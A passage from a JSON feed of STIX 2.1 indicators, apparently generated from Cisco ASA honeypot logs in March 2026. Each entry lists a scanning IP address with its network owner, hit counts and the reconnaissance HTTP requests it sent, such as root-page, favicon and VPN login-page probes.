          "last_seen": "2026-03-21T00:51:54.175Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-21T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--f59930f8-fc93-4b71-a568-ab2e91cd143b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '3.82.198.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T01:20:13.000Z",
      "valid_until": "2026-04-22T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-21T00:57:42.815Z",
          "last_seen": "2026-03-21T00:57:42.815Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-21T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--c8e81118-13ae-4613-8f5c-9cf4e83be1c3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '52.90.148.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T01:20:13.000Z",
      "valid_until": "2026-04-22T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-21T00:56:45.108Z",
          "last_seen": "2026-03-21T00:56:48.111Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-21T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--fbec973d-914a-453e-91ef-c7ef50e971d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T01:20:13.000Z",
      "valid_until": "2026-04-22T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-21T00:35:31.394Z",
          "last_seen": "2026-03-21T00:35:31.394Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-21T02:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--e9a19e95-ef7b-483a-942b-7b373f9229d2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T02:20:06.000Z",
      "valid_until": "2026-04-22T02:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-21T02:04:32.826Z",
          "last_seen": "2026-03-30T07:57:20.416Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-21T05:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--193696cd-90ea-4b16-b9d5-ff87e5a0b843",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T05:20:07.000Z",
      "valid_until": "2026-04-22T05:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-21T04:49:09.348Z",
          "last_seen": "2026-03-21T04:49:12.350Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-21T08:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398722 (Censys, Inc.)",
      "id": "indicator--52dc0fb7-3e34-490e-834e-e93750ec2305",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '199.45.155.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T08:20:04.000Z",
      "valid_until": "2026-04-22T08:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-21T08:10:09.210Z",
          "last_seen": "2026-03-21T08:10:28.375Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398722,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-22T05:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 10439 (CariNet, Inc.)",
      "id": "indicator--4cfbed3f-9213-4ff2-8772-f4306cb1f465",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '71.6.134.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T05:20:07.000Z",
      "valid_until": "2026-04-23T05:20:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-22T05:08:56.140Z",
          "last_seen": "2026-03-22T05:10:19.998Z",
          "country": "United States",
          "country_code": "US",
          "asn": 10439,
          "as_org": "CariNet, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-22T08:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--22365f69-1d12-48f5-ada1-099ff02833b7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T08:20:07.000Z",
      "valid_until": "2026-04-23T08:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 17,
          "first_seen": "2026-03-22T07:35:28.914Z",
          "last_seen": "2026-03-22T07:42:40.209Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-22T08:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--387d7240-fa32-48ee-86ae-ce79d2041486",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T08:20:07.000Z",
      "valid_until": "2026-04-23T08:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-22T07:40:27.363Z",
          "last_seen": "2026-03-22T07:40:27.363Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-22T08:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--75ee340e-44fe-4e72-b59d-183413a4574b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T08:20:07.000Z",
      "valid_until": "2026-04-23T08:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-22T07:38:09.223Z",
          "last_seen": "2026-03-22T07:38:09.223Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-22T08:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--ed76baa2-726f-4f24-9f30-9f08eacd2784",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T08:20:07.000Z",
      "valid_until": "2026-04-23T08:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-22T07:39:53.508Z",
          "last_seen": "2026-03-22T07:39:53.508Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-22T08:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--54e64d34-266e-466e-bcb5-68c057c7caff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T08:20:07.000Z",
      "valid_until": "2026-04-23T08:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-22T07:40:08.576Z",
          "last_seen": "2026-03-22T07:40:08.576Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-22T08:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--b64936ac-1907-4f41-bc5a-c3648fd17794",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T08:20:07.000Z",
      "valid_until": "2026-04-23T08:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-22T07:40:24.336Z",
          "last_seen": "2026-03-22T07:40:24.336Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-22T08:20:07.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--a5e866bb-a38a-472f-9105-2228042d2b1a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T08:20:07.000Z",
      "valid_until": "2026-04-23T08:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-22T07:37:31.716Z",
          "last_seen": "2026-03-22T07:39:52.554Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-22T09:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--8e2a7009-c4e9-4a33-b5b9-16691e563e2d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T09:20:13.000Z",
      "valid_until": "2026-04-23T09:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-22T08:46:45.526Z",
          "last_seen": "2026-03-22T08:49:09.328Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-22T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--5d109097-8b49-47f3-9284-f3b04fc7d110",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T13:20:13.000Z",
      "valid_until": "2026-04-23T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-22T12:47:13.744Z",
          "last_seen": "2026-03-22T12:47:13.744Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-22T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--b31aa61e-a702-4aa5-ab4d-de4f4535c2ff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T13:20:13.000Z",
      "valid_until": "2026-04-23T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-22T12:47:09.440Z",
          "last_seen": "2026-03-22T12:47:09.440Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-22T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.0\" 200 - geo: GB; ASN 60592 (Gransy s.r.o.)",
      "id": "indicator--a088894c-ffb8-4206-9a86-3909064e4b7f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '46.175.135.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T13:20:13.000Z",
      "valid_until": "2026-04-23T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-22T13:14:21.089Z",
          "last_seen": "2026-03-22T13:14:21.089Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 60592,
          "as_org": "Gransy s.r.o.",
          "event_types": [
            "\"GET / HTTP/1.0\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-22T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--f05308ba-132e-4bd3-8822-28e4e6512c5a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T13:20:13.000Z",
      "valid_until": "2026-04-23T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-22T12:42:40.333Z",
          "last_seen": "2026-03-22T12:42:40.333Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-22T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--abc8b59b-0eec-4ccf-b636-e91ba591ecb7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T13:20:13.000Z",
      "valid_until": "2026-04-23T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-22T12:45:14.885Z",
          "last_seen": "2026-03-22T12:45:14.885Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-22T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--6d7f6ef7-9354-4641-85c8-d53fe65d5cf1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T13:20:13.000Z",
      "valid_until": "2026-04-23T13:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-22T12:45:15.214Z",
          "last_seen": "2026-03-22T12:45:15.214Z",
          "country": "United States",
          "country_code": "US",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-22T13:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--759aeac3-c83f-46fd-9aee-137f5f4f2fe3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T13:20:13.000Z",
